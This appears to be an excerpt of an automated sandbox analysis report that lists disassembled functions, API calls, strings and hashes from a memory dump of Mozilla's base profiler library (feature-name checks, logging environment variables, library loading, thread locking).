API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 228a3e44a307a8f0d7f357e6d4127b544ab9d2fc7ec13d261d1de304726556ad
Instruction ID: ec954464c19aff041a38675a491e6330a4a38afc4e02a189e8e1e98d1d8786e4
Opcode Fuzzy Hash: 228a3e44a307a8f0d7f357e6d4127b544ab9d2fc7ec13d261d1de304726556ad
Instruction Fuzzy Hash: 50419571E0121D9FDF04CFA9D891ADEB7BAEF88358F148129E505A7B44EB30D9458B90

Function 6C945C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C914A63,?,?), ref: 6C945F06

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: ad179453b70df70e2a875d875ba32462e9df36710f8e6dc7d84911d74f671d4d
Instruction ID: ff10635ee962580f1b969d3171351b906ab30ae66100db2ac6b07ff343e082eb
Opcode Fuzzy Hash: ad179453b70df70e2a875d875ba32462e9df36710f8e6dc7d84911d74f671d4d
Instruction Fuzzy Hash: BBC1D275E012099FCB14CF95C5906EEBBF6FF8A318F28815DD855ABB44D732A806CB90

Function 6C90DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6decdbd8ba43716a5a922cb255d430dbe95e4c15271f574bf79eab717fa5858
Instruction ID: 5ef5bbdf116df5c49a825e4eaf073e863629d36cd84c5cee65973a70d51d5cbb
Opcode Fuzzy Hash: e6decdbd8ba43716a5a922cb255d430dbe95e4c15271f574bf79eab717fa5858
Instruction Fuzzy Hash: DC42AF72B087518BD308CE3CC49175AB3E2BFC9364F198B2DE999A7791D734D9418B82

Function 6C9776E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 06433d5695073bacc8424aecfb4e43b30789660dbbd0987344da97231d15d13b
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: E8321971E0161A8FCB25CF98C890AADFBF6FF88304F5481A9C549A7745D731A986CF90

Function 6C976E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 2a8c379649248e43153aca62dee039609a408b02db0994be0bd7772dbd1ef23c
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 73220971E012198FDB25CF98C980AADF7F6FF88304F6481AAC549A7745D731A986CF90

Function 6C930512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: c3adea3f6bb6f96116cb58aecfc71019f38a575f7dec3c2575008f3f47a54832
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 02221771E04669CFCB14CF98C890AADF7B6FF89304F549299C44AAB705D731A986CF90

Function 6C97AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41de8f1b143bdfd6c9d023d803dd0d16adf0c925da48d169e513a9145a758e3f
Instruction ID: eb75c6b2fd22837dc689bfa48149787add3f81aca399d48a973d5ff2d54d0e5b
Opcode Fuzzy Hash: 41de8f1b143bdfd6c9d023d803dd0d16adf0c925da48d169e513a9145a758e3f
Instruction Fuzzy Hash: C6F16A7260A7458FD710CE28C8903AFB7E6AFD5318F159A2DE4D4877C1EB74D84487A2

Function 6C90C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 230d3e38a40e2818fbb6a2da36a66b1826ea77e4c2cf9192dc30c349dfddd4a9
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 76A1AF71F0061A8BDB08CE69C8913AEB7F2AFC8354F18816DDD15E7781DB349C068BA1

Function 6C947710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: b17f483c7d135643a69668d2283b860de0865e9a26355d5344fc5eff145db4ac
Instruction ID: 2fa9d24ab9159cf04d403939067383666340063a1aa3d6f9f93a6d8a9f31f61c
Opcode Fuzzy Hash: b17f483c7d135643a69668d2283b860de0865e9a26355d5344fc5eff145db4ac
Instruction Fuzzy Hash: 91716C75E012198FCF18CFA9D8905EDBBB6FF89314F24816ED816AB780D731A905CB90

Function 6C9458E0 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 1fd5168ab4e512a69f70ecbfe37bbadf2d4890f86d27867a8ba6a6412fcb30ce
Instruction ID: 62c5d4e83c26775ce1a26251026e392906609ab202ce3a595d0b07a432408a1c
Opcode Fuzzy Hash: 1fd5168ab4e512a69f70ecbfe37bbadf2d4890f86d27867a8ba6a6412fcb30ce
Instruction Fuzzy Hash: 07817D75A012199FCB04CFA8D8809EEBBF6FF89314F648269E451BB741D731E945CBA0

Function 6C94CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C91582D), ref: 6C94CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C91582D), ref: 6C94CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C97FE98,?,?,?,?,?,6C91582D), ref: 6C94CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C91582D), ref: 6C94CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C91582D), ref: 6C94CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C91582D), ref: 6C94CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C91582D), ref: 6C94CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C94CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C94CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C94CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C94CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C94CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C94CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C94CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C94CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C94CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C94CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C94CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C94CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C94CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C94CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C94CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C94CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C94CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C94CE8A

Strings

Unrecognized feature "%s"., xrefs: 6C94CEA0
nativeallocations, xrefs: 6C94CDA8
nostacksampling, xrefs: 6C94CD7C
mainthreadio, xrefs: 6C94CC7C
samplingallthreads, xrefs: 6C94CE2C
markersallthreads, xrefs: 6C94CE42
stackwalk, xrefs: 6C94CCF8
ipcmessages, xrefs: 6C94CDBE
cpuallthreads, xrefs: 6C94CE16
fileio, xrefs: 6C94CC92
fileioall, xrefs: 6C94CCA8
notimerresolutionchange, xrefs: 6C94CE00
seqstyle, xrefs: 6C94CCE6
leaf, xrefs: 6C94CC66
unregisteredthreads, xrefs: 6C94CE58
java, xrefs: 6C94CC37
jsallocations, xrefs: 6C94CD0E
noiostacks, xrefs: 6C94CCBE
screenshots, xrefs: 6C94CCD4
default, xrefs: 6C94CC21
processcpu, xrefs: 6C94CE6E
power, xrefs: 6C94CE84
audiocallbacktracing, xrefs: 6C94CDD4
preferencereads, xrefs: 6C94CD92

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 10aa7bec907274ed0e11910cba3bc1cce1ea53a52d004939dafc31d456158455
Instruction ID: c5d78cc6f86de945a7fa0f9b8d9fe3427e7dfa03e2e645501320fa051018e63f
Opcode Fuzzy Hash: 10aa7bec907274ed0e11910cba3bc1cce1ea53a52d004939dafc31d456158455
Instruction Fuzzy Hash: 8D5186C1A472266AFB1431156D21BAB144DEFB324AF14C43AED1AA1F80FF05E61D87B7

Function 6C9147C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C914801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C914817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C91482D
__Init_thread_footer.LIBCMT ref: 6C91484A

Part of subcall function 6C93AB3F: EnterCriticalSection.KERNEL32(6C98E370,?,?,6C903527,6C98F6CC,?,?,?,?,?,?,?,?,6C903284), ref: 6C93AB49
Part of subcall function 6C93AB3F: LeaveCriticalSection.KERNEL32(6C98E370,?,6C903527,6C98F6CC,?,?,?,?,?,?,?,?,6C903284,?,?,6C9256F6), ref: 6C93AB7C

GetCurrentThreadId.KERNEL32 ref: 6C91485F
GetCurrentThreadId.KERNEL32 ref: 6C91487E
AcquireSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C91488B
free.MOZGLUE(?), ref: 6C91493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C914956
free.MOZGLUE(00000000), ref: 6C914960
ReleaseSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C91499A

Part of subcall function 6C93AB89: EnterCriticalSection.KERNEL32(6C98E370,?,?,?,6C9034DE,6C98F6CC,?,?,?,?,?,?,?,6C903284), ref: 6C93AB94
Part of subcall function 6C93AB89: LeaveCriticalSection.KERNEL32(6C98E370,?,6C9034DE,6C98F6CC,?,?,?,?,?,?,?,6C903284,?,?,6C9256F6), ref: 6C93ABD1

free.MOZGLUE(?), ref: 6C9149C6
free.MOZGLUE(?), ref: 6C9149E9

Part of subcall function 6C925E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C925EDB
Part of subcall function 6C925E90: memset.VCRUNTIME140(6C967765,000000E5,55CCCCCC), ref: 6C925F27
Part of subcall function 6C925E90: LeaveCriticalSection.KERNEL32(?), ref: 6C925FB2

Strings

[I %d/%d] profiler_shutdown, xrefs: 6C914A06
MOZ_PROFILER_SHUTDOWN, xrefs: 6C914A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C914812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9147FC
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C914828

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: a14cee2a620e97856349a0ddef8859cab01932e0d995ec9291c63b57a706153a
Instruction ID: 6f07bb2a15dd1df4f49788617f437445c135fedb84c0d9b0c81c44059a71f06f
Opcode Fuzzy Hash: a14cee2a620e97856349a0ddef8859cab01932e0d995ec9291c63b57a706153a
Instruction Fuzzy Hash: BD812671A091088FDB00DF38D84976A37B9AF5B31CF240A6AD91697F45D730E854CF96

Function 6C914470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C914730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9144B2,6C98E21C,6C98F7F8), ref: 6C91473E
Part of subcall function 6C914730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C91474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C9144BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C9144D2
InitOnceExecuteOnce.KERNEL32(6C98F80C,6C90F240,?,?), ref: 6C91451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C91455C
LoadLibraryW.KERNEL32(?), ref: 6C914592
InitializeCriticalSection.KERNEL32(6C98F770), ref: 6C9145A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C9145AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C9145BB
InitOnceExecuteOnce.KERNEL32(6C98F818,6C90F240,?,?), ref: 6C914612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C914636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C914644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C91466D
VerSetConditionMask.NTDLL ref: 6C91469F
VerSetConditionMask.NTDLL ref: 6C9146AB
VerSetConditionMask.NTDLL ref: 6C9146B2
VerSetConditionMask.NTDLL ref: 6C9146B9
VerSetConditionMask.NTDLL ref: 6C9146C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9146CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C9146F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C9146FD

Strings

l, xrefs: 6C914578
WRusr.dll, xrefs: 6C9144B5
user32.dll, xrefs: 6C914557, 6C91463F
kernel32.dll, xrefs: 6C9144CD
NativeNtBlockSet_Write, xrefs: 6C9146F7

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: f69d340b5b48c50c2cb23c9348fcbb8e8e24cc7529e48cac56ee851fc2144a06
Instruction ID: 98d7965308966ccfdca964b90b5fd7325b953ffbfb9263e365af6bd1c6ae91e4
Opcode Fuzzy Hash: f69d340b5b48c50c2cb23c9348fcbb8e8e24cc7529e48cac56ee851fc2144a06
Instruction Fuzzy Hash: 7361E4B160A348AFEB019F60CC06B9577B8EB8B70CF288998E5059BA41D770D945CFA1

Function 6C94E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C947090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C94B9F1,?), ref: 6C947107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C94DCF5), ref: 6C94E92D
GetCurrentThreadId.KERNEL32 ref: 6C94EA4F
AcquireSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C94EA5C
ReleaseSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C94EA80
GetCurrentThreadId.KERNEL32 ref: 6C94EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C94DCF5), ref: 6C94EA92
GetCurrentThreadId.KERNEL32 ref: 6C94EB11
AcquireSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C94EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C94EB3C
ReleaseSRWLockExclusive.KERNEL32(6C98F4B8), ref: 6C94EB5B

Part of subcall function 6C945710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C94EB71), ref: 6C9457AB

Part of subcall function 6C93CBE8: GetCurrentProcess.KERNEL32(?,6C9031A7), ref: 6C93CBF1
Part of subcall function 6C93CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9031A7), ref: 6C93CBFA

Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C914A68), ref: 6C94945E
Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C949470
Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C949482
Part of subcall function 6C949420: __Init_thread_footer.LIBCMT ref: 6C94949F

GetCurrentThreadId.KERNEL32 ref: 6C94EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C94EBAC

Part of subcall function 6C9494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9494EE
Part of subcall function 6C9494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C949508

GetCurrentThreadId.KERNEL32 ref: 6C94EBC1
AcquireSRWLockExclusive.KERNEL32(6C98F4B8,?,?,00000000), ref: 6C94EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C94EBE5
ReleaseSRWLockExclusive.KERNEL32(6C98F4B8,00000000), ref: 6C94EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C94EC46
CloseHandle.KERNEL32(?), ref: 6C94EC55
free.MOZGLUE(00000000), ref: 6C94EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6C94EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C94EA9B

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 9efa248d71c47babd4cc36cb6095f552cb7969cefec4de589259982ca73fb6a8
Instruction ID: 2c3296f25ec863ddeae8d6db5691f66e65ca9a13ab7f056f82f2679426ef4320
Opcode Fuzzy Hash: 9efa248d71c47babd4cc36cb6095f552cb7969cefec4de589259982ca73fb6a8
Instruction Fuzzy Hash: CBA12A317066149FDB00DF68D848BA6B7B5FF9731CF24892AE91987B41DB30D805CBA1

Function 6C94F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C914A68), ref: 6C94945E
Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C949470
Part of subcall function 6C949420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C949482
Part of subcall function 6C949420: __Init_thread_footer.LIBCMT ref: 6C94949F

GetCurrentThreadId.KERNEL32 ref: 6C94F70E
